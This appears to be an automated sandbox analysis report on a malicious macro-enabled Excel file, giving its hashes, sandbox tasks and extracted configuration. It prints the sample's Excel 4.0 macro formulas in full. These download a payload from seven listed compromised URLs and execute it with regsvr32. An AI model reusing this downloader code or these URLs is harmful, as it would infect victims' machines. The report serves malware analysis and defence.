Behavioral task
behavioral1
Sample
fa60e7c2be35e2810217731313b5793e7f0573318b9f5cb34fae1b23d398912e.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
fa60e7c2be35e2810217731313b5793e7f0573318b9f5cb34fae1b23d398912e.xlsm
Resource
win10v2004-20241007-en
General
-
Target
fa60e7c2be35e2810217731313b5793e7f0573318b9f5cb34fae1b23d398912e
-
Size
38KB
-
MD5
51bbd5739ec66e5a1df9a0164e364ce5
-
SHA1
e6c802b2a869560b28df9bad1f42059bea503d65
-
SHA256
fa60e7c2be35e2810217731313b5793e7f0573318b9f5cb34fae1b23d398912e
-
SHA512
95e0ed18a23dcf51e5cec07bfff73568b4bded15158c1d8f559f6e8c68cdcd10c8169771f5093813ff352faffca2f994935a65285209a37ed98550bec98a7007
-
SSDEEP
768:2bdpCR8kjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIyYS:uwDOZZ1ZYpoQ/pMAeVIyYzaT
Malware Config
Extracted
https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/
https://risamfg.com/wp-admin/JtqFQW/
https://thailand-rocco.com/wp-content/gE7UvFwLh/
https://pregy.org/test/rXTl1DEv0CWCE/
https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/
https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/
https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pianistprodigy.com/demolms/Ax6ZgvEJJ8HEKfXrp/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://risamfg.com/wp-admin/JtqFQW/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thailand-rocco.com/wp-content/gE7UvFwLh/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pregy.org/test/rXTl1DEv0CWCE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/Lgv7VKTvFFuBH8uct2Eq/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://olawyer.net/wp-includes/e8jtEIL3lFkImOvd9k/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tebetdanelon.com.br/wp-content/iVrceXC3knlRRl/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Signatures
Files
-
fa60e7c2be35e2810217731313b5793e7f0573318b9f5cb34fae1b23d398912e.xlsm office2007